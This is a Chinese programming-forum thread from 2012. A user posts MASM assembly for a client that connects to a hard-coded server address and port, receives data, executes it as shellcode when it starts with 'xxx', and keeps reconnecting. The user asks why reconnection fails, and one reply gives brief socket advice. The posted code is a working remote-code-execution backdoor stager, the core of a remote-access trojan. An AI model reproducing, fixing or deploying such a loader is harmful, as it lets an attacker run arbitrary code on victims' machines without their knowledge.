| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 504 人关注过本帖
标题:汇编客户端执行服务器发送的shellcode代码 为什么服务器断开连接了不会重新 ...
只看楼主 加入收藏
dgz333
Rank: 1
等 级:新手上路
帖 子:4
专家分:0
注 册:2011-11-10
结帖率:66.67%
收藏
已结贴  问题点数:12 回复次数:2 
汇编客户端执行服务器发送的shellcode代码 为什么服务器断开连接了不会重新连接?
.386
.model   flat,stdcall
option   casemap:none
include   windows.inc
include   user32.inc
include   kernel32.inc
include   wsock32.inc
include   Ws2_32.inc
include        wininet.inc
include advapi32.inc
include     masm32.inc
includelib   user32.lib
includelib   kernel32.lib
includelib   wsock32.lib
includelib   Ws2_32.lib
includelib    wininet.lib
includelib advapi32.lib
includelib  masm32.lib

.data


  szMutex db "_Me?",0
  szIP    db "192.168.1.102",0
  port    db  "4410",0


.data?

  hMutex dd ?
  hInstance dd ?
   
   
  server        SOCKET    ?
  

    lpBuffer db ?

.code
cc proc;
jmp _PD;
cc endp
_xxx proc
xor eax,eax
lea eax,[lpBuffer+3]
call eax
   
    ret

_xxx endp
FZX   proc;防止重复运行的
   invoke GetModuleHandle,NULL
   mov hInstance,eax
   invoke CreateMutex,NULL,TRUE,offset szMutex
   mov hMutex,eax
   invoke GetLastError             ;  获得最后发生的错误编号
   cmp eax,ERROR_ALREADY_EXISTS  ; 已经存在
  jz @F
   invoke    Sleep,1000
   call _LJ
      invoke ReleaseMutex,hMutex         ;只有在正常运行后才释放Mutex对象
   @@:
   invoke ExitProcess,0
   ret
FZX   endp


_PD PROC

pushad

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;循环处理客户消息命令
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.while    TRUE
invoke RtlZeroMemory,addr lpBuffer,sizeof lpBuffer
invoke    recv,server,addr lpBuffer,1024,0
.break    .if    eax==SOCKET_ERROR


.if    lpBuffer=="x";lpBuffer是接收到的命令
.if    [lpBuffer+1]=="x"
.if    [lpBuffer+2]=="x";判断头文件是否是XXX是就执行shellcode代码
push cc
assume fs:nothing  
push dword ptr fs:[0]
mov dword ptr fs:[0],esp


call _xxx

.endif   
.endif
.endif   
popad
.endw
popad   
_PD    endp
_LJ    proc;开始连接服务器
        local    @stData:WSADATA
        local    @temp:SOCKET
        local    @stAddr:sockaddr_in
                local    @dwRecv,ThreadId4   
     invoke WSAStartup, 101h, addr @stData
         invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
           mov server, eax
           mov @stAddr.sin_family, 2
         invoke atodw, addr port
         invoke htons, eax
           mov @stAddr.sin_port, ax
         invoke gethostbyname, addr szIP
          mov eax, [eax+12]
          mov eax, [eax]
          mov eax, [eax]
          mov @stAddr.sin_addr, eax
        
kkk:   
      invoke connect,server,addr @stAddr,sizeof @stAddr
      .if eax==SOCKET_ERROR
      invoke    Sleep,10000
      jmp kkk;如果连接失败就重新连接!
      .endif

CALL _PD;判断收到的命令  
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.if    server!=INVALID_SOCKET
        invoke    closesocket,server
      
.endif
    invoke    WSACleanup
    mov    eax,TRUE
    invoke Sleep,10000
JMP _LJ;如果服务器断开了连接就重新连接
    ret        
_LJ    endp
start:
call    FZX
invoke ExitProcess,0
ret
end    start

[ 本帖最后由 dgz333 于 2012-11-26 19:08 编辑 ]
搜索更多相关主题的帖子: 服务器 客户端 
2012-11-26 19:07
bingghost
Rank: 2
等 级:论坛游民
帖 子:70
专家分:85
注 册:2012-1-4
收藏
得分:6 
  

我的头像就是我的女神 可惜我的女神已经死了 所以我的心也死了
2012-11-26 19:10
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:6 
这个你要干嘛

我知道断开了连接的话

必须从新socket套接子在bind

我要成为嘿嘿的黑客,替天行道
2012-11-27 05:54
快速回复:汇编客户端执行服务器发送的shellcode代码 为什么服务器断开连接了不会 ...
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.036181 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved